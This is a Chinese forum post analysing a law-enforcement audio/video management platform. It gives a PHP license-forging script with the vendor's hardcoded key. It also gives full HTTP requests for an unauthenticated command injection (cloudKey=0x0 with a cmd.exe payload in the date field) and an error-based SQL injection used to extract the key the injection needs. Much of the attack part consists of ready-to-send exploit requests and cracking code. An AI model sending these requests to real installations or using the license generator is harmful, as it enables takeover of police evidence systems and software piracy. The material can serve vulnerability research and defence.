执法视音频综合管理平台未授权RCE漏洞分析
co_w**** 发表于 湖北 漏洞分析 713浏览 · 2024-09-09 03:59

执法视音频综合管理平台未授权RCE漏洞分析

下载链接:https://www.yulongdt.com/int/download.html
(找个Zendecode解密一下就行)

1、liscense激活

下载的那个版本要liscense,看一下liscense的check逻辑:

private function _checkLicense2()
{
    $filename = "protected/auth/auth.license";
    if (!file_exists($filename)) {
        $this->activate(1000);
    }
    $file = @file($filename);
    if (empty($file)) {
        $this->activate(2000);
       }
    $msg = NULL;
        foreach ($file as $v ) {
            $msg .= $v;
        }
        $encrypt = new Encrypt();
        $board = $encrypt->mydecrypt($msg);
        $board = trim($board);
        unset($msg);
        if (!isset($board)) {
            $this->activate(5000);
        }
        $ok = LicenseApply::xml_parser($board);

        if (!$ok) {
            $this->activate(6000);
        }

        $root = simplexml_load_string($board);
        $msg = array();

        foreach ($root->item as $sxe ) {
            if ($sxe) {
                foreach ($sxe->attributes() as $k => $v ) {
                    $msg[$k] = strval($v);
                }
            }
        }

        $wmic = "wmic csproduct get uuid";
        $exec = @exec($wmic, $output);

        if (empty($output)) {
            $this->activate(3000);
        }

        $execBoard = trim($output[1]);
        if ((trim($msg["uuid"]) != "0") && ($execBoard != trim($msg["uuid"]))) {
            $this->activate(4000);
        }
    }

很简单,就一个AES解密,然后check一下里面的uuid和本机的uuid是否相同。由于AES密钥直接硬编码,uuid的值在安装完成之后可以运行wmic csproduct get uuid获取,构造如下代码放到根目录,把获取到的字符串贴到protected/auth/auth.license文件里面即可,代码如下:

<?php
class Encrypt
{
    const KEY = "hda@2014";

    private $iv = "                ";
    private $encryptKey = "ydt20201111111111111111111111111";

    public function encode($str)
    {
        $size = mcrypt_get_block_size(MCRYPT_DES, MCRYPT_MODE_CBC);
        $str = $this->pkcs5Pad($str, $size);
        return mcrypt_cbc(MCRYPT_DES, self::KEY, $str, MCRYPT_ENCRYPT, self::KEY);
    }

    public function decode($str)
    {
        $str = mcrypt_cbc(MCRYPT_DES, self::KEY, $str, MCRYPT_DECRYPT, self::KEY);
        $str = $this->pkcs5Unpad($str);
        return $str;
    }

    public function pkcs5Pad($text, $blocksize)
    {
        $pad = $blocksize - (strlen($text) % $blocksize);
        return $text . str_repeat(chr($pad), $pad);
    }

    public function pkcs5Unpad($text)
    {
        $pad = ord($text[strlen($text) - 1]);

        if (strlen($text) < $pad) {
            return false;
        }

        if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) {
            return false;
        }

        return substr($text, 0, -1 * $pad);
    }

    public function myencrypt($encryptStr)
    {
        $localIV = $this->iv;
        $encryptKey = $this->encryptKey;
        $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, "", MCRYPT_MODE_CBC, $localIV);
        mcrypt_generic_init($module, $encryptKey, $localIV);
        $block = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
        $encrypted = mcrypt_generic($module, $encryptStr);
        mcrypt_generic_deinit($module);
        mcrypt_module_close($module);
        return base64_encode($encrypted);
    }

    public function mydecrypt($encryptStr)
    {
        $localIV = $this->iv;
        $encryptKey = $this->encryptKey;
        $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, "", MCRYPT_MODE_CBC, $localIV);
        mcrypt_generic_init($module, $encryptKey, $localIV);
        $encryptedData = base64_decode($encryptStr);
        $encryptedData = mdecrypt_generic($module, $encryptedData);
        return $encryptedData;
    }
}

$s = "<root><item uuid=\"C14961A3-C997-41B3-9E73-0894A4BD85D5\"></item></root>";
$b = new Encrypt();
echo $b->myencrypt($s);

?>

2、未授权RCE(默认情况下不需要步骤三)

系统用的yii框架,自定义了两个Controller来做权限控制,父子结构如下:

class UController extends CController
class Controller extends UController

其中CController是yii的控制器,UController内实现了的accessRules方法来做权限控制,代码如下:

public function accessRules()
    {
        return array(
    array(
        0             => "allow",
        "controllers" => array("floder"),
        "users"       => array("@")
        ),
    array(
        0             => "allow",
        "actions"     => array("chgPwd"),
        "controllers" => array("user"),
        "users"       => array("@")
        ),
    array(
        0             => "allow",
        "controllers" => array("third"),
        "users"       => array("*")
        ),
    array(
        0             => "allow",
        "actions"     => array("index", "logout", "welcome", "configRed5"),
        "controllers" => array("site"),
        "users"       => array("*"),
        "expression"  => array($this, "checkRole")
        ),
    array(
        0             => "allow",
        "actions"     => array("login", "Activate", "info"),
        "controllers" => array("site", "LicenseApply"),
        "users"       => array("*")
        ),
    array(
        0             => "allow",
        "actions"     => array("login"),
        "controllers" => array("site"),
        "users"       => array("*")
        ),
    array(
        0             => "allow",
        "controllers" => array("gpsonline"),
        "users"       => array("*")
        ),
    array(
        0             => "allow",
        "controllers" => array("group"),
        "users"       => array("@")
        ),
    array(
        0             => "allow",
        "controllers" => array("module"),
        "users"       => array("@")
        ),
    array(
        0            => "allow",
        "users"      => array("@"),
        "expression" => array($this, "checkRole")
        ),
    array(
        0       => "deny",
        "users" => array("*")
        )
    );
    }

限制了一些可以访问的控制器以及相应方法。所以这里未授权路由的挖掘可以从两个方面入手:

  1. 在上述accessRules方法中allow *的method
  2. 直接继承CController类,没有经过Controller和UController

在上述accessRules中,thirdController可以未授权访问,在其actionTimeSyn方法中存在命令注入:

public function actionTimeSyn()
    {
        if (!isset($_POST["cloudKey"]) && isset($_POST["date"]) && isset($_POST["time"]) || empty($_POST["cloudKey"])) {
            return NULL;
        }

        $cloudKey = SysConfig::model()->findConfigByItem("cloudKey");

        if ($_POST["cloudKey"] != $cloudKey) {
            return NULL;
        }

        @exec("date {$_POST["date"]}");
        @exec("time {$_POST["time"]}");
        exit("1");
    }

这里注入的点很明显,date和time参数都可控,唯一需要的是过掉上面的if语句,也就是需要知道cloudKey。在默认安装的情况下,cloudKey为空,这时可以利用PHP的弱语言类型,传入cloudKey的值为16进制的0即可,数据包如下:

POST http://10.106.108.185/index.php?r=Third/TimeSyn HTTP/1.1
Host: 10.106.108.185
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

cloudKey=0x0&date=|cmd.exe+/c+calc&time=1

如果系统存在cloudKey,可以利用第三步的SQLI来获取。

3、前台SQL注入

前面分析过,如果实现的控制器直接继承CController的话,就不受鉴权影响。RelMediaController正好满足这个条件,代码如下:

class RelMediaController extends CController{
    public function actionFindById()
    {
        $id = $_POST["id"];
        $uid = "";
        $sql = "select a.*,b.full_name,c.name group_name\r\n\t\t\t\tfrom `media` a,`user` b,`group` c\r\n\t\t\t\twhere a.police_number=b.police_number and b.group_id=c.id and a.id=" . $id;

        if ($uid) {
            $sql .= " and b.id in(" . $uid . ")";
        }

        $data = Yii::app()->db->createCommand($sql)->queryRow();
        $sql = "select a.id from `media` a,`user` b \r\n\t\t\t\twhere a.police_number=b.police_number and a.id>" . $id;

        if ($uid) {
            $sql .= " and b.id in(" . $uid . ")";
        }

        $sql .= " order by a.import_time asc";
        $tmp = Yii::app()->db->createCommand($sql)->queryRow();
        $data["pre_id"] = ($tmp ? $tmp["id"] : 0);
        $sql = "select a.id from `media` a,`user` b \r\n\t\t\t\twhere a.police_number=b.police_number and a.id<" . $id;

        if ($uid) {
            $sql .= " and b.id in(" . $uid . ")";
        }

        $sql .= " order by a.import_time desc";
        $tmp = Yii::app()->db->createCommand($sql)->queryRow();
        $data["next_id"] = ($tmp ? $tmp["id"] : 0);
        $ip = sprintf("%s", $_SERVER["SERVER_NAME"]);
        $file = Yii::app()->params["mediaPath"] . $data["path"];

        if (!file_exists($file)) {
            $station = Station::model()->find("number=:number", array(":number" => $data["station_number"]));
            $ip = $station["ip"];
        }

        $data["src"] = "http://$ip/streams/{$data["path"]}";
        echo json_encode(array("success" => true, "data" => $data));
    }
}

这里很明显$_POST["id"]的注入点,而且系统是开启了报错回显的,直接报错注入就行:

POST http://ip/index.php?r=RelMedia/FindById HTTP/1.1
Host: ip
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tujm9j5aopafrb41mvu0mq08a4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

id=1+and+updatexml(1,concat(0x7e,user()),1)--+

第二步RCE需要的cloudKey在sys_config这张表,如果配置了直接查询就行。

0 条评论
某人
表情
可输入 255